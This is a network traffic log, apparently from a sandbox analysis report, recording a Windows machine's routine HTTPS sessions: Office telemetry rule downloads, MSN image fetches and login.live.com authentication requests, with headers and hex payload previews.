2024-11-25 15:21:58 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:58 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 9a5c0c24-501e-0064-106e-3c1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152158Z-174c587ffdfmlsmvhC1TEBvyks000000067g00000000hasv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:59 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49914	104.117.182.66	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:58 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:59 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 24 Nov 2024 16:24:48 GMT X-Datacenter: westus X-ActivityId: 09c9a816-65c3-4cec-9dc5-575462c725bf Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 62552 Content-Length: 8192 Cache-Control: public, max-age=349346 Expires: Fri, 29 Nov 2024 16:24:25 GMT Date: Mon, 25 Nov 2024 15:21:59 GMT Connection: close
2024-11-25 15:21:59 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49915	20.190.147.1	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:59 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 15:21:59 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 15:22:00 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 15:21:00 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C544_BL2 x-ms-request-id: 02dc8793-097a-48c3-bc5e-af38cac740d4 PPServer: PPV: 30 H: BL02EPF00027B69 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 15:22:00 GMT Connection: close Content-Length: 11409
2024-11-25 15:22:00 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:22:00 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:22:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:22:00 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152200Z-15b8b599d88l2dpthC1TEBmzr0000000060g00000000ktz2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:22:00 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:22:00 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:22:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:22:00 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 2727b5de-901e-005b-4cc1-3e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152200Z-178bfbc474bwh9gmhC1NYCy3rs00000007mg00000000rbq4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:22:00 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:22:00 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:22:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:22:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: a5f5ebba-f01e-003f-29f6-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152200Z-178bfbc474btvfdfhC1NYCa2en00000007tg0000000041kk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:22:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:22:00 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:22:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:22:00 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 00c17fdd-701e-000d-2f70-3c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152200Z-174c587ffdftjz9shC1TEBsh980000000610000000006csx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:22:00 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49922	104.117.182.66	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:22:00 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:22:00 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=56824 Expires: Tue, 26 Nov 2024 07:09:04 GMT Date: Mon, 25 Nov 2024 15:22:00 GMT Connection: close
2024-11-25 15:22:00 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	49920	20.190.147.1	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:22:00 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 15:22:00 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 15:22:01 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 15:21:01 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C544_BAY x-ms-request-id: a38eeb3a-8cce-4930-bf73-7ebd7757734a PPServer: PPV: 30 H: PH1PEPF00011F35 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 15:22:00 GMT Connection: close Content-Length: 11409
2024-11-25 15:22:01 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:22:00 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:22:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:22:01 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 1e58b78d-401e-0029-678d-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152201Z-174c587ffdfb485jhC1TEBmc1s00000005ug00000000ucex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:22:01 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
